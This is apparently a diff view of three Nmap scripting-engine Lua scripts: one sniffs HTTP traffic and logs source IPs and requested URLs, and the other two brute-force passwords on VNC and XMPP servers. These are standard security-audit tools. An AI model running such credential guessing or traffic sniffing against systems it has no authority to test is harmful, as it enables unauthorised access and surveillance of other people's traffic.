if ( not(parsed.path) ) then if ( not(parsed.path) ) then
return return
end end
for _, v in ipairs(headers) do for _, v in ipairs(headers) do
parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$") parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$")
if ( parsed.host ) then if ( parsed.host ) then
break break
end end
end end
if ( not(parsed.host) ) then if ( not(parsed.host) ) then
return return
end end
parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil
parsed.scheme = "http" parsed.scheme = "http"
local u = url.build(parsed) local u = url.build(parsed)
if ( not(u) ) then if ( not(u) ) then
return return
end end
return u return u
end end
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
@@ -92,54 +92,54 @@ local arg_nostdout= stdnse.get_script_args(SCRIPT_NAME..".nostdout")
local arg_outfile = stdnse.get_script_args(SCRIPT_NAME..".outfile") local arg_outfile = stdnse.get_script_args(SCRIPT_NAME..".outfile")
local function log_entry(src_ip, url) local function log_entry(src_ip, url)
local outfd = io.open(arg_outfile, "a") local outfd = io.open(arg_outfile, "a")
if ( outfd ) then if ( outfd ) then
local entry = ("%s\t%s\r\n"):format(src_ip, url) local entry = ("%s\t%s\r\n"):format(src_ip, url)
outfd:write(entry) outfd:write(entry)
outfd:close() outfd:close()
end end
end end
action = function() action = function()
local counter = 0 local counter = 0
if ( arg_outfile ) then if ( arg_outfile ) then
local outfd = io.open(arg_outfile, "a") local outfd = io.open(arg_outfile, "a")
if ( not(outfd) ) then if ( not(outfd) ) then
return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile) return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile)
end end
outfd:close() outfd:close()
end end
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(1000) socket:set_timeout(1000)
socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)") socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")
local start, stop = os.time() local start, stop = os.time()
repeat repeat
local status, len, _, l3 = socket:pcap_receive() local status, len, _, l3 = socket:pcap_receive()
if ( status ) then if ( status ) then
local p = packet.Packet:new( l3, #l3 ) local p = packet.Packet:new( l3, #l3 )
local pos = p.tcp_data_offset + 1 local pos = p.tcp_data_offset + 1
local http_data = p.buf:sub(pos) local http_data = p.buf:sub(pos)
local url = get_url(http_data) local url = get_url(http_data)
if ( url ) then if ( url ) then
counter = counter + 1 counter = counter + 1
if ( not(arg_nostdout) ) then if ( not(arg_nostdout) ) then
print(p.ip_src, url) print(p.ip_src, url)
end end
if ( arg_outfile ) then if ( arg_outfile ) then
log_entry(p.ip_src, url) log_entry(p.ip_src, url)
end end
end end
end end
if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then
stop = os.time() stop = os.time()
break break
end end
until(false) until(false)
if ( counter > 0 ) then if ( counter > 0 ) then
return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start) return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start)
end end
end end

View File

@@ -41,106 +41,106 @@ portrule = shortport.port_or_service(5901, "vnc", "tcp", "open")
Driver = Driver =
{ {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect = function( self ) connect = function( self )
local status, data local status, data
self.vnc = vnc.VNC:new( self.host.ip, self.port.number ) self.vnc = vnc.VNC:new( self.host.ip, self.port.number )
status, data = self.vnc:connect() status, data = self.vnc:connect()
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "VNC connect failed" ) local err = brute.Error:new( "VNC connect failed" )
-- This might be temporary, set the retry flag -- This might be temporary, set the retry flag
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
return true return true
end, end,
--- Attempts to login to the VNC server --- Attempts to login to the VNC server
-- --
-- @param username string containing the login username -- @param username string containing the login username
-- @param password string containing the login password -- @param password string containing the login password
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return brute.Error object on failure -- @return brute.Error object on failure
-- brute.Account object on success -- brute.Account object on success
login = function( self, username, password ) login = function( self, username, password )
local status, data = self.vnc:handshake() local status, data = self.vnc:handshake()
if ( not(status) and ( data:match("Too many authentication failures") or if ( not(status) and ( data:match("Too many authentication failures") or
data:match("Your connection has been rejected.") ) ) then data:match("Your connection has been rejected.") ) ) then
local err = brute.Error:new( data ) local err = brute.Error:new( data )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
elseif ( not(status) ) then elseif ( not(status) ) then
local err = brute.Error:new( "VNC handshake failed" ) local err = brute.Error:new( "VNC handshake failed" )
-- This might be temporary, set the retry flag -- This might be temporary, set the retry flag
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status, data = self.vnc:login( nil, password ) status, data = self.vnc:login( nil, password )
if ( status ) then if ( status ) then
return true, brute.Account:new("", password, creds.State.VALID) return true, brute.Account:new("", password, creds.State.VALID)
elseif ( not( data:match("Authentication failed") ) ) then elseif ( not( data:match("Authentication failed") ) ) then
local err = brute.Error:new( data ) local err = brute.Error:new( data )
-- This might be temporary, set the retry flag -- This might be temporary, set the retry flag
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.vnc:disconnect() self.vnc:disconnect()
end, end,
check = function( self ) check = function( self )
local vnc = vnc.VNC:new( self.host.ip, self.port.number ) local vnc = vnc.VNC:new( self.host.ip, self.port.number )
local status, data local status, data
status, data = vnc:connect() status, data = vnc:connect()
if ( not(status) ) then if ( not(status) ) then
return stdnse.format_output( false, data ) return stdnse.format_output( false, data )
end end
status, data = vnc:handshake() status, data = vnc:handshake()
if ( not(status) ) then if ( not(status) ) then
return stdnse.format_output( false, data ) return stdnse.format_output( false, data )
end end
if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then
return false, "No authentication required" return false, "No authentication required"
end end
status, data = vnc:login( nil, "is_sec_mec_supported?" ) status, data = vnc:login( nil, "is_sec_mec_supported?" )
if ( data:match("The server does not support.*security type") ) then if ( data:match("The server does not support.*security type") ) then
return stdnse.format_output( false, " \n " .. data ) return stdnse.format_output( false, " \n " .. data )
end end
return true return true
end, end,
} }
action = function(host, port) action = function(host, port)
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
engine.options:setOption( "passonly", true ) engine.options:setOption( "passonly", true )
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -47,94 +47,94 @@ ConnectionPool = {}
Driver = Driver =
{ {
-- Creates a new driver instance -- Creates a new driver instance
-- @param host table as received by the action method -- @param host table as received by the action method
-- @param port table as received by the action method -- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool -- @param pool an instance of the ConnectionPool
new = function(self, host, port, options ) new = function(self, host, port, options )
local o = { host = host, port = port, options = options } local o = { host = host, port = port, options = options }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- Connects to the server (retrieves a connection from the pool) -- Connects to the server (retrieves a connection from the pool)
connect = function( self ) connect = function( self )
self.helper = ConnectionPool[coroutine.running()] self.helper = ConnectionPool[coroutine.running()]
if ( not(self.helper) ) then if ( not(self.helper) ) then
self.helper = xmpp.Helper:new( self.host, self.port, self.options ) self.helper = xmpp.Helper:new( self.host, self.port, self.options )
local status, err = self.helper:connect() local status, err = self.helper:connect()
if ( not(status) ) then return false, err end if ( not(status) ) then return false, err end
ConnectionPool[coroutine.running()] = self.helper ConnectionPool[coroutine.running()] = self.helper
end end
return true return true
end, end,
-- Attempts to login to the server -- Attempts to login to the server
-- @param username string containing the username -- @param username string containing the username
-- @param password string containing the password -- @param password string containing the password
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success -- @return brute.Error on failure and brute.Account on success
login = function( self, username, password ) login = function( self, username, password )
local status, err = self.helper:login( username, password, mech ) local status, err = self.helper:login( username, password, mech )
if ( status ) then if ( status ) then
self.helper:close() self.helper:close()
self.helper:connect() self.helper:connect()
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
if ( err:match("^ERROR: Failed to .* data$") ) then if ( err:match("^ERROR: Failed to .* data$") ) then
self.helper:close() self.helper:close()
self.helper:connect() self.helper:connect()
local err = brute.Error:new( err ) local err = brute.Error:new( err )
-- This might be temporary, set the retry flag -- This might be temporary, set the retry flag
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
-- Disconnects from the server (release the connection object back to -- Disconnects from the server (release the connection object back to
-- the pool) -- the pool)
disconnect = function( self ) disconnect = function( self )
return true return true
end, end,
} }
action = function(host, port) action = function(host, port)
local options = { servername = stdnse.get_script_args("xmpp-brute.servername") } local options = { servername = stdnse.get_script_args("xmpp-brute.servername") }
local helper = xmpp.Helper:new(host, port, options) local helper = xmpp.Helper:new(host, port, options)
local status, err = helper:connect() local status, err = helper:connect()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to connect to XMPP server" return "\n ERROR: Failed to connect to XMPP server"
end end
local mechs = helper:getAuthMechs() local mechs = helper:getAuthMechs()
if ( not(mechs) ) then if ( not(mechs) ) then
return "\n ERROR: Failed to retreive authentication mechs from XMPP server" return "\n ERROR: Failed to retreive authentication mechs from XMPP server"
end end
local mech_prio = stdnse.get_script_args("xmpp-brute.auth") local mech_prio = stdnse.get_script_args("xmpp-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"} mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"}
for _, mp in ipairs(mech_prio) do for _, mp in ipairs(mech_prio) do
for m, _ in pairs(mechs) do for m, _ in pairs(mechs) do
if ( mp == m ) then mech = m; break end if ( mp == m ) then mech = m; break end
end end
if ( mech ) then break end if ( mech ) then break end
end end
if ( not(mech) ) then if ( not(mech) ) then
return "\n ERROR: Failed to find suitable authentication mechanism" return "\n ERROR: Failed to find suitable authentication mechanism"
end end
local engine = brute.Engine:new(Driver, host, port, options) local engine = brute.Engine:new(Driver, host, port, options)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local result local result
status, result = engine:start() status, result = engine:start()
return result return result
end end